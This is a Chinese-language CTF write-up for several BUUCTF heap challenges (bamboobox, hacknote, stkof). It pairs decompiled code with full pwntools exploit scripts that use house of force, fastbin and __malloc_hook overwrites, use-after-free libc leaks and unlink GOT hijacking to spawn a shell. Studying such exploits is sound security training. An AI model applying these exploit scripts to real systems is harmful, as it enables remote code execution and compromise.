magic
void __noreturn magic()
{
int fd; // ST0C_4
char buf; // [rsp+10h] [rbp-70h]
unsigned __int64 v2; // [rsp+78h] [rbp-8h]
v2 = __readfsqword(0x28u);
fd = open("/home/bamboobox/flag", 0);
read(fd, &buf, 0x64uLL);
close(fd);
printf("%s", &buf);
exit(0);
}
程序退出时会调用goodbye函数,只要想办法把goodbye覆盖为magic即可get flag
这题考的应该就是House of force,但是buu的flag路径肯定不对,所以本地创建一个flag进行调试
House of force将goodbye覆盖成magic,那么退出的时候,就可以调用magic
EXP
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
debug = 1
context(arch='amd64', endian='el', os='linux')
context.log_level = 'debug'
if debug == 1:
p = process(['./chall'])
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
else:
p = remote('node3.buuoj.cn', 26779)
libc = ELF('./libc-2.23.so', checksec=False)
elf = ELF('./chall', checksec=False)
magic = elf.sym['magic']
def add(length,context):
p.recvuntil("Your choice:")
p.sendline("2")
p.recvuntil("Please enter the length of item name:")
p.sendline(str(length))
p.recvuntil("Please enter the name of item:")
p.send(context)
def edit(idx,length,context):
p.recvuntil("Your choice:")
p.sendline("3")
p.recvuntil("Please enter the index of item:")
p.sendline(str(idx))
p.recvuntil("Please enter the length of item name:")
p.sendline(str(length))
p.recvuntil("Please enter the new name of the item:")
p.send(context)
def free(idx):
p.recvuntil("Your choice:")
p.sendline("4")
p.recvuntil("Please enter the index of item:")
p.sendline(str(idx))
def show():
p.sendlineafter("Your choice:", "1")
def exit():
p.sendlineafter(":", "5")
add(0x60,'aaaa')
pd = 'a'*0x60 + p64(0) + p64(0xffffffffffffffff)
edit(0,len(pd),pd)
gdb.attach(p)
size = -0x90 - 0x10
add(size,'aaaa')
pd = p64(0) + p64(magic)
add(0x10,pd)
#exit()
p.interactive()
思路2
这题的got表可改,overlaping chunk
只要got表可改,有溢出,很多题目都可以用overlaping chunk,这个洞真的好用
EXP2
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
debug = 2
context(arch='amd64', endian='el', os='linux')
#context.log_level = 'debug'
if debug == 1:
p = process(['./chall'])
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
one = [0x45226,0x4527a,0xf0364,0xf1207]
else:
p = remote('node3.buuoj.cn', 26779)
libc = ELF('./libc-2.23.so', checksec=False)
one = [0x45216,0x4526a,0xf02a4,0xf1147]
elf = ELF('./chall', checksec=False)
def add(length,context):
p.recvuntil("Your choice:")
p.sendline("2")
p.recvuntil("Please enter the length of item name:")
p.sendline(str(length))
p.recvuntil("Please enter the name of item:")
p.send(context)
def edit(idx,length,context):
p.recvuntil("Your choice:")
p.sendline("3")
p.recvuntil("Please enter the index of item:")
p.sendline(str(idx))
p.recvuntil("Please enter the length of item name:")
p.sendline(str(length))
p.recvuntil("Please enter the new name of the item:")
p.send(context)
def free(idx):
p.recvuntil("Your choice:")
p.sendline("4")
p.recvuntil("Please enter the index of item:")
p.sendline(str(idx))
def show():
p.sendlineafter("Your choice:", "1")
def exit():
p.sendlineafter(":", "5")
add(0x58,'aaaa') #0
add(0x60,'aaaa') #1
add(0x60,'aaaa') #2
add(0x60,'aaaa') #3
pd = 'a'*0x58 + '\xe1'
edit(0,len(pd),pd)
free(1)
add(0x60,'aaaa')
show()
main_arean = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00')) - 0x58
libc_base = main_arean - 0x3c4b20
malloc_hook = libc_base+libc.sym['__malloc_hook']
realloc = libc_base+libc.sym['__libc_realloc']
fake_chunk = malloc_hook - 0x23
success('main_arean = ' + hex(main_arean))
success('libc_base = ' + hex(libc_base))
add(0x60,'aaaa')
free(2)
edit(4,0x8,p64(fake_chunk))
add(0x60,'aaaa')
add(0x60,'aaaa')
pd = 'a'*0xb + p64(libc_base + one[1]) + p64(realloc+13)
edit(5,len(pd),pd)
p.recvuntil("Your choice:")
p.sendline("2")
p.recvuntil("Please enter the length of item name:")
p.sendline('60')
p.interactive()
pwnable_hacknote
思路
保护
[*] '/root/CTF/Pwn/pwnable_hacknote/chall'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
#ubuntu16
add
unsigned int sub_8048646()
{
_DWORD *v0; // ebx
signed int i; // [esp+Ch] [ebp-1Ch]
int size; // [esp+10h] [ebp-18h]
char buf; // [esp+14h] [ebp-14h]
unsigned int v5; // [esp+1Ch] [ebp-Ch]
v5 = __readgsdword(0x14u);
if ( dword_804A04C <= 5 )
{
for ( i = 0; i <= 4; ++i )
{
if ( !ptr[i] )
{
ptr[i] = malloc(8u);
if ( !ptr[i] )
{
puts("Alloca Error");
exit(-1);
}
*(_DWORD *)ptr[i] = sub_804862B;
printf("Note size :");
read(0, &buf, 8u);
size = atoi(&buf);
v0 = ptr[i];
v0[1] = malloc(size);
if ( !*((_DWORD *)ptr[i] + 1) )
{
puts("Alloca Error");
exit(-1);
}
printf("Content :");
read(0, *((void **)ptr[i] + 1), size);
puts("Success !");
++dword_804A04C;
return __readgsdword(0x14u) ^ v5;
}
}
}
else
{
puts("Full");
}
return __readgsdword(0x14u) ^ v5;
}
free
unsigned int sub_80487D4()
{
int v1; // [esp+4h] [ebp-14h]
char buf; // [esp+8h] [ebp-10h]
unsigned int v3; // [esp+Ch] [ebp-Ch]
v3 = __readgsdword(0x14u);
printf("Index :");
read(0, &buf, 4u);
v1 = atoi(&buf);
if ( v1 < 0 || v1 >= dword_804A04C )
{
puts("Out of bound!");
_exit(0);
}
if ( ptr[v1] )
{
free(*((void **)ptr[v1] + 1));
free(ptr[v1]);
puts("Success");
}
return __readgsdword(0x14u) ^ v3;
}
UAF
show
unsigned int sub_80488A5()
{
int v1; // [esp+4h] [ebp-14h]
char buf; // [esp+8h] [ebp-10h]
unsigned int v3; // [esp+Ch] [ebp-Ch]
v3 = __readgsdword(0x14u);
printf("Index :");
read(0, &buf, 4u);
v1 = atoi(&buf);
if ( v1 < 0 || v1 >= dword_804A04C )
{
puts("Out of bound!");
_exit(0);
}
if ( ptr[v1] )
(*(void (__cdecl **)(void *))ptr[v1])(ptr[v1]);
return __readgsdword(0x14u) ^ v3;
}
单纯的UAF,泄露libc,
EXP
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
debug = 2
context(arch='i386', endian='el', os='linux')
#context.log_level = 'debug'
if debug == 1:
p = process(['./chall'])
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
else:
p = remote('node3.buuoj.cn', 26567)
libc = ELF('./libc-2.23.so', checksec=False)
elf = ELF('./chall', checksec=False)
puts_got=elf.got['puts']
def add(size,Content):
p.sendlineafter('Your choice :','1')
p.sendlineafter('Note size :',str(size))
p.sendafter('Content :',Content)
def free(idx):
p.sendlineafter('Your choice :','2')
p.sendlineafter('Index :',str(idx))
def show(idx):
p.sendlineafter('Your choice :','3')
p.sendlineafter('Index :',str(idx))
add(0x30,"aaaa") #0
add(0x30,"aaaa") #1
free(0)
free(1)
pd = p32(0x0804862b) + p32(elf.got['puts'])
add(0x8,pd) #idx 3 <-> 0
show(0)
puts_addr = u32(p.recv(4))
libc_base = puts_addr - libc.sym['puts']
system = libc_base + libc.sym['system']
free(2)
pd = p32(system) + "||sh"
add(0x8,pd)
show(0)
p.interactive()
hitcon2014_stkof
思路
保护
[*] '/root/CTF/Pwn/hitcon2014_stkof/stkof'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
#ubuntu16
add
signed __int64 sub_400936()
{
__int64 size; // [rsp+0h] [rbp-80h]
char *v2; // [rsp+8h] [rbp-78h]
char s; // [rsp+10h] [rbp-70h]
unsigned __int64 v4; // [rsp+78h] [rbp-8h]
v4 = __readfsqword(0x28u);
fgets(&s, 16, stdin);
size = atoll(&s);
v2 = (char *)malloc(size);
if ( !v2 )
return 0xFFFFFFFFLL;
::s[++dword_602100] = v2;
printf("%d\n", (unsigned int)dword_602100, size);
return 0LL;
}
edit
signed __int64 sub_4009E8()
{
signed __int64 result; // rax
int i; // eax
unsigned int v2; // [rsp+8h] [rbp-88h]
__int64 n; // [rsp+10h] [rbp-80h]
char *ptr; // [rsp+18h] [rbp-78h]
char s; // [rsp+20h] [rbp-70h]
unsigned __int64 v6; // [rsp+88h] [rbp-8h]
v6 = __readfsqword(0x28u);
fgets(&s, 16, stdin);
v2 = atol(&s);
if ( v2 > 0x100000 )
return 0xFFFFFFFFLL;
if ( !::s[v2] )
return 0xFFFFFFFFLL;
fgets(&s, 16, stdin);
n = atoll(&s);
ptr = ::s[v2];
for ( i = fread(ptr, 1uLL, n, stdin); i > 0; i = fread(ptr, 1uLL, n, stdin) )
{
ptr += i;
n -= i;
}
if ( n )
result = 0xFFFFFFFFLL;
else
result = 0LL;
return result;
}
堆溢出
free
signed __int64 sub_400B07()
{
unsigned int v1; // [rsp+Ch] [rbp-74h]
char s; // [rsp+10h] [rbp-70h]
unsigned __int64 v3; // [rsp+78h] [rbp-8h]
v3 = __readfsqword(0x28u);
fgets(&s, 16, stdin);
v1 = atol(&s);
if ( v1 > 0x100000 )
return 0xFFFFFFFFLL;
if ( !::s[v1] )
return 0xFFFFFFFFLL;
free(::s[v1]);
::s[v1] = 0LL;
return 0LL;
}
无UAF
show
signed __int64 sub_400BA9()
{
unsigned int v1; // [rsp+Ch] [rbp-74h]
char s; // [rsp+10h] [rbp-70h]
unsigned __int64 v3; // [rsp+78h] [rbp-8h]
v3 = __readfsqword(0x28u);
fgets(&s, 16, stdin);
v1 = atol(&s);
if ( v1 > 0x100000 )
return 0xFFFFFFFFLL;
if ( !::s[v1] )
return 0xFFFFFFFFLL;
if ( strlen(::s[v1]) <= 3 )
puts("//TODO");
else
puts("...");
return 0LL;
}
不是直接输出堆内容,所以不能泄露libc
由于程序本身没有进行 setbuf 操作,所以在执行输入输出操作的时候会申请缓冲区 , 所以我们最好最初的申请一个 chunk 把缓冲区清一下,利用unlink来泄露libc
EXP
#coding:utf8
from pwn import *
from easyLibc import *
sh = process('./chall')
#sh = remote('node3.buuoj.cn',28814)
elf = ELF('./chall')
strlen_got = elf.got['strlen']
free_got = elf.got['free']
puts_plt = elf.plt['puts']
heap_ptr_addr = 0x0000000000602150
def add(size):
sh.sendline('1')
sh.sendline(str(size))
sh.recvuntil('OK')
def edit(index,size,content):
sh.sendline('2')
sh.sendline(str(index))
sh.sendline(str(size))
sh.send(content)
sh.recvuntil('OK')
def delete(index):
sh.sendline('3')
sh.sendline(str(index))
def show(index):
sh.sendline('4')
sh.sendline(str(index))
sh.recvuntil('OK')
#1,消耗内存碎片,使得后面的chunk可以相邻
add(0x1000)
#2
add(0x80)
#3
add(0x80)
#4
add(0x10)
edit(4,0x8,'/bin/sh\x00')
#伪造好fd和bk,然后伪造好chunk3的prev、size
fake_chunk = p64(0) + p64(0x81)
fake_chunk += p64(heap_ptr_addr - 0x18) + p64(heap_ptr_addr - 0x10)
fake_chunk = fake_chunk.ljust(0x80,'a')
edit(2,0x90,fake_chunk + p64(0x80) + p64(0x90))
#unlink
delete(3)
#现在可以控制堆指针了
payload = p64(0) + p64(strlen_got) + p64(free_got)
edit(2,0x18,payload)
gdb.attach(sh)
#修改strlen的got表为puts的plt表
edit(0,0x8,p64(puts_plt))
#泄露free的got表地址
show(1)
sh.recv(1)
free_addr = u64(sh.recv(6).ljust(8,'\x00'))
libc = easyLibc('free',free_addr)
libc_base = free_addr - libc.dump('free')
system_addr = libc_base + libc.dump('system')
print 'libc_base=',hex(libc_base)
print 'system_addr=',hex(system_addr)
#修改free的got表为system的地址
edit(1,0x8,p64(system_addr))
#getshell
delete(4)
sh.interactive()